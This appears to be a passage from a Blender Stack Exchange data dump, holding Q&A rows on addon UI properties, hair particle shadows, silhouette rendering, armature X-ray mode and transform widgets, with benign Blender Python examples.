  <row Id="6379" PostTypeId="1" AcceptedAnswerId="6383" CreationDate="2014-01-19T12:30:54.283" Score="3" ViewCount="623" Body="&lt;p&gt;Let's say I want to create UI for addon which allows to choose options (eg delete meshes only) before script execution. How can I achieve that? I know about F6 panel (and options in the T-panel) but it works only after I run a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FqIiz.png&quot; alt=&quot;UI mockup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="1363" LastEditDate="2014-01-19T17:12:26.143" LastActivityDate="2014-01-19T17:12:26.143" Title="How to set options before script execution" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6380" PostTypeId="2" ParentId="6378" CreationDate="2014-01-19T12:35:12.787" Score="2" Body="&lt;p&gt;It is up to the author of each exporter to support exporting a modified mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some exporters for example, could export without applying Subdivision-Surface, but use some option in the format that denotes the object as having it enabled (RenderMan RIB is one that can do this, Lightwave also supports). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in most cases the format doesn't support Blender's modifiers natively, its typically good if the exporter can write the data you see in the viewport/render (WYSIWYG).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All Blender's bundled exporters support this, so there are enough examples of how to implement this.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-20T00:32:30.057" LastActivityDate="2014-01-20T00:32:30.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6381" PostTypeId="1" AcceptedAnswerId="6396" CreationDate="2014-01-19T13:51:53.640" Score="3" ViewCount="1950" Body="&lt;p&gt;The shadow on my smooth shaded sphere with hair particles just looks wrong:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UVXLk.png&quot; alt=&quot;Jagged shadow on particle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://manera.ch/stack/tennis.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender scene with wrong shadow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender version 2.69, normals are turned outside and there are no doubled vertices. Without hairs the shading is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help and suggestion to improve the look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; To make the ball look more realistic I further changed the following things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made 2 particles - one with &quot;Render -&gt; Strand render&quot; (makes hair really light) and one with &quot;Render -&gt; no Strand render&quot; and less children hair (gives a dark accents to the other particle setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also made a new material for both particles (for more natural looking):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Material -&gt; Diffuse -&gt; Ramp from yellow to transparent&lt;/li&gt;&#xA;&lt;li&gt;Material -&gt; Strand  -&gt; Root 0.25 (for thin root)&lt;/li&gt;&#xA;&lt;li&gt;Material -&gt; Strand  -&gt; Tip 0.25 (for thin tip)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Patricles Settings for both particles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Patricles -&gt; Velocity -&gt; Normals 0.03 (longer hair)   &lt;/li&gt;&#xA;&lt;li&gt;Patricles -&gt; Render   -&gt; Random 0.05 (Shadow really get smoother) &lt;/li&gt;&#xA;&lt;li&gt;Patricles -&gt; Children -&gt; Render 50 or 300 (less children&lt;br&gt;&#xA;also helped to smooth shadow)&lt;/li&gt;&#xA;&lt;li&gt;Patricles -&gt; Children -&gt; Length 0.7&lt;/li&gt;&#xA;&lt;li&gt;Patricles -&gt; Children -&gt; Random 0.05 (looks more furry)&lt;/li&gt;&#xA;&lt;li&gt;Patricles -&gt; Children -&gt; Size 0.01&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kw7YV.png&quot; alt=&quot;Ball with two particles and a separate material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jagged shadows arent visible now. Probably the particles aren’t meant to be used with few short hairs where you can see the shadow through.&lt;/p&gt;&#xA;" OwnerUserId="2190" LastEditorUserId="2190" LastEditDate="2014-01-22T15:43:05.240" LastActivityDate="2014-01-22T16:03:01.183" Title="Jagged and wrong looking shadow on hair particles" Tags="&lt;light&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6383" PostTypeId="2" ParentId="6379" CreationDate="2014-01-19T17:12:06.347" Score="3" Body="&lt;p&gt;You can also register properties on &lt;code&gt;bpy.types&lt;/code&gt; such as &lt;code&gt;WindowManager&lt;/code&gt;, &lt;code&gt;Scene&lt;/code&gt; etc., add them to a panel together with an operator (will appear as button) and pass the value of a global property (&lt;code&gt;bpy.types&lt;/code&gt;) to the operator as operator property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class PrintSomeString(bpy.types.Operator):&#xA;    bl_label = &quot;Print Some String&quot;&#xA;    bl_idname = &quot;object.print_some_string&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    print_this = bpy.props.StringProperty(name=&quot;Print this&quot;)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.print_this)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop(context.window_manager, &quot;some_string&quot;)&#xA;&#xA;        props = layout.operator(PrintSomeString.bl_idname)&#xA;        props.print_this = context.window_manager.some_string&#xA;&#xA;        props = layout.operator(PrintSomeString.bl_idname, text=&quot;Print welcome message&quot;)&#xA;        props.print_this = &quot;Welcome to Blender!&quot;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.WindowManager.some_string = bpy.props.StringProperty(name=&quot;Some String&quot;)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.WindowManager.some_string&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Adds a panel to the &lt;em&gt;Object&lt;/em&gt; tab in &lt;em&gt;Properties Editor&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-19T17:12:06.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6384" PostTypeId="2" ParentId="6245" CreationDate="2014-01-19T18:40:54.613" Score="1" Body="&lt;p&gt;IT IS the driver! The Nvidia driver installed from repositories on Debian is old. I've installed the newest driver by using sgfxi (&lt;a href=&quot;http://smxi.org/docs/sgfxi-manual.htm&quot; rel=&quot;nofollow&quot;&gt;see manual here&lt;/a&gt;). Just shut down the X-server, ran the script without any options (for this graphics card you don't need to enable the compositing option, it is enabled by default), it installed without a glitch. And halleluja! - GPU option appeared in Blender.&lt;/p&gt;&#xA;" OwnerUserId="2140" LastActivityDate="2014-01-19T18:40:54.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6385" PostTypeId="1" AcceptedAnswerId="6392" CreationDate="2014-01-19T19:25:48.990" Score="4" ViewCount="11316" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0Uwj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As one can see, behind the &quot;Koro&quot; text, there is the outline of the lama.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this effect created? Are there any options in the compositor to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I &quot;convert&quot; a blender model into a 2d logo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend file: &lt;a href=&quot;https://mega.co.nz/#F!9QMGCTxL!PIc910mkaEhot_dlYFeQQg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.co.nz/#F!9QMGCTxL!PIc910mkaEhot_dlYFeQQg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="1526" LastEditDate="2014-01-19T22:29:52.613" LastActivityDate="2015-11-30T22:45:18.150" Title="How can I &quot;convert&quot; a blender model into a 2d drawing?" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6386" PostTypeId="1" AcceptedAnswerId="6408" CreationDate="2014-01-19T19:46:23.000" Score="1" ViewCount="16139" Body="&lt;p&gt;I'm new to Blender and still learning how to make a simple character, but when I started creating the Armature the X-Ray Mode is not working probably. I enabled it and I can't see the bones. That makes it hard to create the character skeleton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are screenshots of whats happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jGrQG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnJHC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/an61O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated ...&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="2217" LastEditDate="2014-01-22T01:52:21.280" LastActivityDate="2018-01-11T05:21:25.417" Title="X-Ray Mode is Not Working" Tags="&lt;mesh&gt;&lt;3d-view&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="3" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="6387" PostTypeId="1" CreationDate="2014-01-19T21:31:43.533" Score="0" ViewCount="31" Body="&lt;p&gt;I have a recurring problem with Blender 2.64: I import a model, I start to edit it then suddenly the precision decreases drastically so that I can't move anything where I want to (there are huge gaps between available positions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8IXAc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's due to IEEE-754 floating point representation but how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I didn't scale my model.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I just realized that when I move an something, the edit bar indicates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D: 0.0000 (0.0000) global&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D: 1.0000 (1.0000) global (with the example above)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the picker may switched to integer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XlAjv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="2197" LastEditDate="2014-01-19T22:28:18.507" LastActivityDate="2014-01-19T22:28:18.507" Title="Poor precision when editing?" Tags="&lt;editing&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="0" ClosedDate="2014-01-19T23:01:29.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="6389" PostTypeId="2" ParentId="6386" CreationDate="2014-01-19T23:34:00.670" Score="3" Body="&lt;p&gt;It looks to me as though you have x- ray set to the mesh; its the armature that should have x-ray checked not your mesh.&lt;/p&gt;&#xA;" OwnerUserId="411" LastActivityDate="2014-01-19T23:34:00.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6390" PostTypeId="2" ParentId="6385" CreationDate="2014-01-20T00:16:04.897" Score="6" Body="&lt;p&gt;A very straight-forward solution:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new material and pick a &lt;em&gt;Diffuse&lt;/em&gt; color&lt;/li&gt;&#xA;&lt;li&gt;Enable the Shading option &lt;em&gt;Shadeless&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Replace all materials by this new material&lt;br&gt;(did not work for Koros eyes for some reason, I replaced them with UV spheres and assigned the shadeless material)&lt;/li&gt;&#xA;&lt;li&gt;Disable the sky for rendering&lt;br&gt;(I removed the entire node setup to get rid of it)&lt;/li&gt;&#xA;&lt;li&gt;Switch &lt;em&gt;Viewport Shading&lt;/em&gt; to &lt;em&gt;Textured&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change to &lt;em&gt;GLSL&lt;/em&gt; Material Mode in the N-panel &lt;em&gt;Shading&lt;/em&gt; options&lt;/li&gt;&#xA;&lt;li&gt;Change to ortho sideview (in this case &lt;kbd&gt;Numpad 3&lt;/kbd&gt;, &lt;kbd&gt;Numpad 5&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Render OpenGL&lt;/em&gt; and save image as PNG with alpha&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Result (click for hi-res):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YGgoB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YGgoB.png&quot; width=&quot;120&quot; height=&quot;180&quot;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it doesn't include simulated hair, but on the other side, render time was &amp;lt; 1 sec.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorDisplayName="user1853" LastEditDate="2015-11-30T22:45:18.150" LastActivityDate="2015-11-30T22:45:18.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6391" PostTypeId="2" ParentId="6385" CreationDate="2014-01-20T00:37:04.520" Score="1" Body="&lt;p&gt;Set the horizon color to white. Switch off all lights (including ambient occlusion). This will render a black outline, if you have a single object without background objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t7WlV.jpg&quot; alt=&quot;silhouette&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1946" LastActivityDate="2014-01-20T00:37:04.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6392" PostTypeId="2" ParentId="6385" CreationDate="2014-01-20T00:47:35.113" Score="10" Body="&lt;p&gt;Another option is to use the &lt;em&gt;Material Override&lt;/em&gt; option in &lt;em&gt;Properties &amp;gt; Renderlayers&lt;/em&gt; to override all the materials with a flat gray shadeless material.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a shadeless gray material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gx4BE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use it as the renderlayer override:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrEZd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMZlg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-20T00:47:35.113" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6393" PostTypeId="2" ParentId="6385" CreationDate="2014-01-20T00:58:11.940" Score="1" Body="&lt;p&gt;If you are going for a 2D logo at the start, I would recommend using curves. They're easier to manage (in certain ways) than a plane.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Bezier Circle and change it's type to 2D in the shape settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MbLcZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Model your logo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiHXK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Don't ask what this is supposed to be. I was going for a dinosaur thing, but it came out as more of a snake/cat thing)&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set your camera to orthographic and position it in front of your logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HGGt4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vUfXn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove your lights from the scene and set the material to shadeless. Pick whatever colors you want.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add text (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Add Text&lt;/em&gt;) pick a font in the object settings, give it a shadeless material.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Voilà:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7PVjQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-20T00:58:11.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6394" PostTypeId="1" AcceptedAnswerId="6395" CreationDate="2014-01-20T01:35:32.663" Score="2" ViewCount="1907" Body="&lt;p&gt;I'm new to Blender, when I was working on a simple character like in the tutorial I'm following. I tried to change the shape of 2 cubes by moving the x and y arrows on the widget but it's not working and it doesn't even give me an arrow shape when I use box select. Does anyone know why this is happening and how I can fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fVF8N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="3401" LastEditDate="2015-12-22T18:12:04.210" LastActivityDate="2017-10-23T16:06:25.500" Title="Why can't I translate parts of my mesh with the 3d widget?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6395" PostTypeId="2" ParentId="6394" CreationDate="2014-01-20T01:56:00.700" Score="6" Body="&lt;p&gt;There are three main transformations available: &lt;em&gt;Translate&lt;/em&gt;, &lt;em&gt;Rotate&lt;/em&gt;, and &lt;em&gt;Scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Keyboard shortcuts:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Grab (&lt;kbd&gt;G&lt;/kbd&gt;) (aka translate/move)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate (&lt;kbd&gt;R&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale (&lt;kbd&gt;S&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Manipulators#Manipulator_controls&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the normal Transform commands (G for Grab, R for Rotation, S for Scale), can be used to manipulate objects along any axis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;Widgets:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can also use the the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Manipulators#Manipulator_controls&quot; rel=&quot;noreferrer&quot;&gt;transform manipulator widgets&lt;/a&gt; to do this by pressing on the arrows with &lt;kbd&gt;LMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable or disable the transform manipulator widget by pressing the &lt;img src=&quot;https://i.stack.imgur.com/dEPL2.png&quot; alt=&quot;enter image description here&quot;&gt; icon in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWRqP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the transofm manipulator type by selecting one of the buttons again in the &lt;em&gt;Header&lt;/em&gt; of the &lt;em&gt;3D view&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Location&lt;/em&gt; (&lt;img src=&quot;https://i.stack.imgur.com/O1oh7.png&quot; alt=&quot;enter image description here&quot;&gt;) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Rotation&lt;/em&gt; (&lt;img src=&quot;https://i.stack.imgur.com/3KgrL.png&quot; alt=&quot;enter image description here&quot;&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Scale&lt;/em&gt; (&lt;img src=&quot;https://i.stack.imgur.com/z4SDk.png&quot; alt=&quot;enter image description here&quot;&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It sounds like you want &lt;em&gt;Location&lt;/em&gt; manipulators, but you have &lt;em&gt;Scale&lt;/em&gt; type selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting it like this by pressing one of the icons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWKEO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you can select multiple widgets at once by holding &lt;kbd&gt;Shift&lt;/kbd&gt; while selecting them.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-20T02:30:45.840" LastActivityDate="2014-01-20T02:30:45.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6396" PostTypeId="2" ParentId="6381" CreationDate="2014-01-20T02:38:02.393" Score="1" Body="&lt;p&gt;According to your setting on the hair particle, the &lt;em&gt;Random&lt;/em&gt; value in &lt;strong&gt;Children&lt;/strong&gt; panel needs better tweaking, at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0gdsh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-20T02:38:02.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6397" PostTypeId="1" AcceptedAnswerId="6412" CreationDate="2014-01-20T04:43:23.770" Score="3" ViewCount="2385" Body="&lt;p&gt;I think I'm nearly there, thanks to two super scripts from CoDEmanX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first script shows the bounding box around an object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;from mathutils import Vector&#xA;&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    ob = context.object&#xA;    if ob is None or ob.type not in ('MESH', 'CURVE', 'SURFACE', 'META', 'FONT'):&#xA;        # Type that doesn't support .bound_box&#xA;        return&#xA;    mat = ob.matrix_world&#xA;&#xA;    # 50% alpha, 2 pixel width line&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(1.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    bbox = [mat * Vector(b) for b in ob.bound_box]&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex3f(*bbox[0])&#xA;    bgl.glVertex3f(*bbox[1])&#xA;    bgl.glVertex3f(*bbox[2])&#xA;    bgl.glVertex3f(*bbox[3])&#xA;    bgl.glVertex3f(*bbox[0])&#xA;    bgl.glVertex3f(*bbox[4])&#xA;    bgl.glVertex3f(*bbox[5])&#xA;    bgl.glVertex3f(*bbox[6])&#xA;    bgl.glVertex3f(*bbox[7])&#xA;    bgl.glVertex3f(*bbox[4])&#xA;    bgl.glEnd()&#xA;&#xA;    bgl.glBegin(bgl.GL_LINES)&#xA;    bgl.glVertex3f(*bbox[1])&#xA;    bgl.glVertex3f(*bbox[5])&#xA;    bgl.glVertex3f(*bbox[2])&#xA;    bgl.glVertex3f(*bbox[6])&#xA;    bgl.glVertex3f(*bbox[3])&#xA;    bgl.glVertex3f(*bbox[7])&#xA;    bgl.glEnd()&#xA;&#xA;    min_x = min(b.x for b in bbox)&#xA;    max_x = max(b.x for b in bbox)&#xA;    min_y = min(b.y for b in bbox)&#xA;    max_y = max(b.y for b in bbox)&#xA;    min_z = min(b.z for b in bbox)&#xA;    max_z = max(b.z for b in bbox)&#xA;&#xA;    bgl.glColor4f(0.0, 1.0, 0.0, 0.5)&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glVertex3f(min_x, min_y, min_z)&#xA;    bgl.glVertex3f(min_x, max_y, min_z)&#xA;    bgl.glVertex3f(max_x, max_y, min_z)&#xA;    bgl.glVertex3f(max_x, min_y, min_z)&#xA;    bgl.glVertex3f(min_x, min_y, min_z)&#xA;    bgl.glVertex3f(min_x, min_y, max_z)&#xA;    bgl.glVertex3f(min_x, max_y, max_z)&#xA;    bgl.glVertex3f(max_x, max_y, max_z)&#xA;    bgl.glVertex3f(max_x, min_y, max_z)&#xA;    bgl.glVertex3f(min_x, min_y, max_z)&#xA;    bgl.glEnd()&#xA;&#xA;    bgl.glBegin(bgl.GL_LINES)&#xA;    bgl.glVertex3f(max_x, min_y, min_z)&#xA;    bgl.glVertex3f(max_x, min_y, max_z)&#xA;    bgl.glVertex3f(min_x, max_y, min_z)&#xA;    bgl.glVertex3f(min_x, max_y, max_z)&#xA;    bgl.glVertex3f(max_x, max_y, min_z)&#xA;    bgl.glVertex3f(max_x, max_y, max_z)&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type in {'ESC'}:&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_VIEW' and 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_VIEW')&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    for area in bpy.context.screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            context = bpy.context.copy()&#xA;            context['area'] = area&#xA;            bpy.ops.view3d.modal_operator(context, 